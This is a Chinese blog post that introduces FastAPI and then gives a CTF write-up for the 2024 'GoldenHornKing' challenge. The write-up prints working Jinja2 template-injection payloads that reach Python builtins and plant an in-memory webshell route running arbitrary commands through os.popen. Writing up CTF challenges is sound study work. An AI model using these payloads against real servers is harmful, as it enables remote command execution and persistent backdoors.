什么是 FastAPI ?
fastapi文档 FastAPI - FastAPI (tiangolo.com)
FastAPI 是一个现代的、快速(高性能)的 Web 框架,用于构建 API。它基于 Python 3.6+ 的类型提示,使用 Starlette 作为其底层 ASGI 框架,并使用 Pydantic 进行数据验证。以下是一个简单的 FastAPI 示例
示例代码
from fastapi import FastAPI
app = FastAPI()
@app.get("/")
def read_root():
return {"Hello": "World"}
@app.get("/items/{item_id}")
def read_item(item_id: int, q: str = None):
return {"item_id": item_id, "q": q}
if __name__ == "__main__":
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8000)
解释
-
导入 FastAPI:
from fastapi import FastAPI
导入 FastAPI 框架。 -
创建 FastAPI 实例:
app = FastAPI()
创建一个 FastAPI 应用实例。 -
定义路由:
-
@app.get("/")
: 定义根路由的处理函数,响应 HTTP GET 请求。 -
read_root()
: 根路由处理函数,返回一个 JSON 响应{"Hello": "World"}
。 -
@app.get("/items/{item_id}")
: 定义带路径参数的路由。 -
read_item(item_id: int, q: str = None)
: 处理路径参数item_id
和可选的查询参数q
,返回 JSON 响应。
-
-
运行应用:
if __name__ == "__main__": import uvicorn uvicorn.run(app, host="0.0.0.0", port=8000)
使用 Uvicorn 运行应用,监听 8000 端口。
运行应用
保存代码为 main.py
,然后运行以下命令启动 FastAPI 应用:
uvicorn main:app --reload
访问 API
- 根路由:
http://localhost:8000/
- 带路径参数的路由:
http://localhost:8000/items/42?q=search
文档
FastAPI 会自动生成 API 文档,你可以通过以下 URL 访问:
-
自动生成的文档:
http://localhost:8000/docs
-
原始文档:
http://localhost:8000/redoc
这就是 FastAPI 的基本用法!
巅峰极客2024 GoldenHornKing
源码如下
import os
import jinja2
import functools
import uvicorn
from fastapi import FastAPI
from fastapi.templating import Jinja2Templates
from anyio import fail_after
# Decorator to add a timeout to async functions
def timeout_after(timeout: int = 1):
def decorator(func):
@functools.wraps(func)
async def wrapper(*args, **kwargs):
with fail_after(timeout):
return await func(*args, **kwargs)
return wrapper
return decorator
# Initialize FastAPI app
app = FastAPI()
access = False
# Set up Jinja2 template directory
_base_path = os.path.dirname(os.path.abspath(__file__))
t = Jinja2Templates(directory=_base_path)
@app.get("/")
@timeout_after(1)
async def index():
# Read and return the content of the current file
return open(__file__, 'r').read()
@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str ):
global access
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
return "bad char"
else:
print(calc_req)
template = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}")
rendered_template = template.render({"app": app})
return rendered_template
return "fight"
# Run the application with Uvicorn server
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8080)
分析
if的条件判断access这个变量是否为true,如果为true就不渲染了,所以只能渲染一次,并且渲染是不能有数字的
这里为了本地方便测试,修改渲染一次的限制
@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str ):
global access
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
return "bad char"
else:
print(calc_req)
template = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}")
rendered_template = template.render({"app": app})
return rendered_template
由于不能有数字,我们直接从lipsum
出发得到__builtins__
payload:
/calc?calc_req=lipsum.__globals__.__builtins__
但是目标不出网且无回显,所以我们需要写内存马
寻找Fastapi框架的添加路由函数
本题用的是
fastapi
的web框架而不是flask
,需要自己寻找可用方法
通过寻找我们发现添加路由方法add_route
,add_middleware
,add_route
,add_api_route
通过搜索发现add_api_route
可以用来自定义创建路由
示例如下:
from fastapi import FastAPI, APIRouter
class Hello:
def __init__(self, name: str):
self.name = name
self.router = APIRouter()
self.router.add_api_route("/hello", self.hello, methods=["GET"])
def hello(self):
return {"Hello": self.name}
app = FastAPI()
hello = Hello("World")
app.include_router(hello.router)
$ curl 127.0.0.1:5000/hello
{"Hello":"World"}
add_api_route
的第二个参数( endpoint
)的类型为 Callable[..., Any]
,因此任何可调用对象都应该工作(只要 HTTP 请求 FastAPI 可以找出其参数的解析方式)数据)。此可调用函数在 FastAPI 文档中也称为 路径操作函数(
然后接下来就是要写fastapi
框架的内存马,我们需要获取到当前目标环境下运行的app
实例对象
获取fastapi的app实例对象
sys.modules
是一个全局字典,该字典是python启动后就加载在内存中。每当程序员导入新的模块,sys.modules都将记录这些模块。字典sys.modules对于加载模块起到了缓冲的作用。当某个模块第一次导入,字典sys.modules将自动记录该模块。当第二次再导入该模块时,python会直接到字典中查找,从而加快了程序运行的速度。
所以我们可以通过sys.modules拿到当前已经导入的模块,并且获取模块中的属性,由于我们最终的eval是在app.py中执行的,所以我们可以通过sys.modules['__main__']
来获取当前的模块
sys.modules['__main__'].__dict__['app']
执行这段写入内存马
import sys
app = sys.modules['__main__'].__dict__['app']
from fastapi import Request;
def a(request: Request):
import os
cmd = request.query_params.get('cmd')
if cmd is not None:
app.add_api_route('/a',a, methods=['GET'])
传参注意换行和空格
/calc?calc_req=lipsum.__globals__.__builtins__['exec']("import+sys\napp+%3d+sys.modules['__main__'].__dict__['app']\nfrom+fastapi+import+Request\n\ndef+a(request%3a+Request)%3a\n++++import+os\n++++cmd+%3d+request.query_params.get('cmd')\n++++if+cmd+is+not+None%3a\n++++++++print(f'Command+received%3a+{cmd}')\n++++++++return+os.popen(cmd).read()\n++++\n++++return+'shell'\n\napp.add_api_route('/a',+a,+methods%3d['GET'])")
执行命令
/a?cmd=whoami
或者lambda
表达式
/calc?calc_req=config.__init__.__globals__['__builtins__']['exec']('app.add_api_route("/a",lambda:__import__("os").popen("whoami").read());',{"app":app})